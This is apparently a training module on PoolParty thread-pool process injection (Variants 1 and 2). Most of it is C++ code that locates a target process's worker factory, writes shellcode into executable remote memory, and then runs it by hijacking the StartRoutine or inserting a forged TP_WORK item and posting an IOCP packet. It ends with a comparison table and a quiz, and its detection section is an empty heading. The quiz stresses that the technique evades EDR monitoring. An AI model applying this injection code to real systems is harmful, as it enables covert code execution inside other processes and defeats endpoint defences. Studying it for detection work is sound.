Difficulty: Intermediate

Module 4: Worker Factory & TP_WORK Variants

PoolParty Variants 1–2: StartRoutine hijacking and TP_WORK item insertion into the target’s thread pool.

Module Objective

Master the first two PoolParty variants: hijacking the worker factory’s StartRoutine to execute shellcode via a new worker thread (Variant 1), and inserting a crafted TP_WORK item into the target pool’s task queue so that an existing worker thread dispatches the attacker’s callback (Variant 2). Each variant exploits a different entry point into the thread pool execution path.

1. Shared Setup: Locating Target Handles

All three variants require the same preliminary steps to locate the target process’s thread pool infrastructure:

C++// Step 1: Open the target process
HANDLE hProcess = OpenProcess(
    PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
    PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION,
    FALSE, targetPid);

// Step 2: Enumerate all handles in the system
PSYSTEM_HANDLE_INFORMATION handleInfo = NULL;
ULONG bufferSize = 0x10000;
do {
    handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(bufferSize);
    status = NtQuerySystemInformation(
        SystemHandleInformation, handleInfo, bufferSize, &bufferSize);
    if (status == STATUS_INFO_LENGTH_MISMATCH) {
        free(handleInfo);
        bufferSize *= 2;
    }
} while (status == STATUS_INFO_LENGTH_MISMATCH);

// Step 3: Find Worker Factory handles belonging to target PID
for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) {
    SYSTEM_HANDLE_TABLE_ENTRY_INFO entry = handleInfo->Handles[i];
    if (entry.UniqueProcessId != targetPid) continue;
    if (entry.ObjectTypeIndex != workerFactoryTypeIndex) continue;

    // Duplicate the handle into our process
    HANDLE dupHandle;
    DuplicateHandle(hProcess, (HANDLE)(ULONG_PTR)entry.HandleValue,
                    GetCurrentProcess(), &dupHandle,
                    0, FALSE, DUPLICATE_SAME_ACCESS);

    // Query to verify it's the thread pool worker factory
    WORKER_FACTORY_BASIC_INFORMATION wfbi;
    NtQueryInformationWorkerFactory(dupHandle,
        WorkerFactoryBasicInformation,
        &wfbi, sizeof(wfbi), NULL);

    // Save the handle and information for the variant-specific exploit
    targetWorkerFactory = dupHandle;
    targetIocp = wfbi.CompletionPort;
    targetStartRoutine = wfbi.StartRoutine;
    targetPoolPtr = wfbi.StartParameter;
}

2. Variant 1: Worker Factory StartRoutine Hijack

This is the most straightforward variant. It overwrites the worker factory’s StartRoutine so that new worker threads start executing attacker-controlled code instead of TppWorkerThread.

Variant 1 Flow

Write shellcode
VirtualAllocEx + WriteProcessMemory
Set StartRoutine
NtSetInformationWorkerFactory
Trigger new thread
Increase MinThreadCount
Shellcode runs
New worker thread

2.1 Implementation

C++// Variant 1: Worker Factory StartRoutine Hijack

// Step 1: Allocate memory in target for shellcode
LPVOID remoteShellcode = VirtualAllocEx(
    hProcess, NULL, shellcodeSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(hProcess, remoteShellcode,
                   shellcode, shellcodeSize, NULL);

// Step 2: Overwrite the worker factory's StartRoutine
// The StartRoutine is set via NtSetInformationWorkerFactory
// with WorkerFactoryBasicInformation class
// We need to craft a WORKER_FACTORY_BASIC_INFORMATION with
// the StartRoutine field pointing to our shellcode

// Note: We modify the StartRoutine by setting it in the
// worker factory information structure
NtSetInformationWorkerFactory(
    hWorkerFactory,
    WorkerFactoryBasicInformation,   // Info class 7
    &remoteShellcode,                // New StartRoutine
    sizeof(PVOID));

// Step 3: Force creation of a new worker thread
// Increase MinimumThreadCount to trigger the factory
// to create an additional thread
ULONG newMinThreads = currentThreadCount + 1;
NtSetInformationWorkerFactory(
    hWorkerFactory,
    WorkerFactoryThreadMinimum,      // Info class 1
    &newMinThreads,
    sizeof(ULONG));

// The new worker thread starts at our shellcode!

Variant 1 Caveat

After the shellcode thread starts, the worker factory’s StartRoutine remains modified. Any subsequent worker threads created by the pool will also start at the shellcode address. A more careful implementation would restore the original StartRoutine after the first shellcode thread has started, or ensure the shellcode itself sets it back.

3. Variant 2: TP_WORK Item Insertion

Instead of hijacking thread creation, Variant 2 inserts a fully crafted TP_WORK structure into the target’s thread pool task queue. An existing worker thread picks it up and executes the callback.

Variant 2 Flow

Write shellcode
+ craft TP_WORK
Insert into queue
Modify TP_POOL task list
Post to IOCP
NtSetIoCompletion
Callback fires
Worker dispatches

3.1 Crafting the TP_WORK Structure

C++// Variant 2: TP_WORK Insertion

// Step 1: Allocate and write shellcode
LPVOID remoteShellcode = VirtualAllocEx(hProcess, NULL,
    shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteShellcode, shellcode,
                   shellcodeSize, NULL);

// Step 2: Read the target's TP_POOL to get queue addresses
// We know the TP_POOL address from the worker factory query
TP_POOL remotePool;
ReadProcessMemory(hProcess, targetPoolPtr, &remotePool,
                  sizeof(TP_POOL), NULL);

// Step 3: Craft a TP_WORK structure in the target
// The Task.WorkCallback must point to our shellcode
TP_WORK fakeWork = { 0 };
fakeWork.Task.WorkCallback = (PTP_WORK_CALLBACK)remoteShellcode;
fakeWork.Task.Context = NULL;
fakeWork.Pool = (PTP_POOL)targetPoolPtr;

// Allocate space for the fake work item in the target
LPVOID remoteWork = VirtualAllocEx(hProcess, NULL,
    sizeof(TP_WORK), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProcess, remoteWork, &fakeWork,
                   sizeof(TP_WORK), NULL);

// Step 4: Insert the work item into the pool's task queue
// This involves modifying the LIST_ENTRY links in the target's
// TP_POOL.TaskQueue to include our fake TP_WORK
TppInsertWorkItemIntoQueue(hProcess, targetPoolPtr, remoteWork);

3.2 Triggering Execution

C++// Step 5: Post a completion packet to the IOCP to wake a worker
// The worker will find our work item in the queue and dispatch it

// Duplicate the target's IOCP handle into our process
HANDLE localIocp;
DuplicateHandle(hProcess, remotePool.CompletionPort,
                GetCurrentProcess(), &localIocp,
                0, FALSE, DUPLICATE_SAME_ACCESS);

// Post a completion packet to wake a worker thread
NtSetIoCompletion(localIocp, (ULONG_PTR)remoteWork,
                  NULL, STATUS_SUCCESS, 0);

// A worker thread wakes up, finds our TP_WORK in the queue,
// and calls fakeWork.Task.WorkCallback -> our shellcode

4. Comparison of Variants 1 and 2

PropertyVariant 1 (StartRoutine)Variant 2 (TP_WORK Insert)
Execution contextNew worker threadExisting worker thread
Key APINtSetInformationWorkerFactoryNtSetIoCompletion
IOCP interactionNonePosts completion packet
Queue modificationNoneLinked list manipulation
TriggerNew thread created by factoryWorker wakes from IOCP
Timing controlImmediate (on thread create)Immediate (IOCP post wakes thread)
Side effectsStartRoutine changed for future threadsExtra item in queue

5. Detection Considerations

From a defensive perspective, these variants present different detection challenges:

What EDRs See (or Don’t See)

Knowledge Check

Q1: How does Variant 1 trigger execution of the injected shellcode?

A) By calling CreateRemoteThread
B) By posting to the IOCP
C) By increasing MinThreadCount to force the worker factory to create a new thread with the overwritten StartRoutine
D) By signaling a wait object

Q2: What is the key difference between Variant 1 and Variant 2?

A) Variant 1 creates a new thread via the worker factory; Variant 2 reuses an existing worker thread via IOCP posting
B) Variant 1 is slower than Variant 2
C) Variant 2 requires kernel-mode access
D) Variant 1 modifies the IOCP while Variant 2 does not

Q3: Why is NtSetInformationWorkerFactory effective as an injection vector?

A) It bypasses all kernel security checks
B) EDRs do not typically hook or monitor this API as an injection vector
C) It runs in kernel mode
D) It is an undocumented API that cannot be detected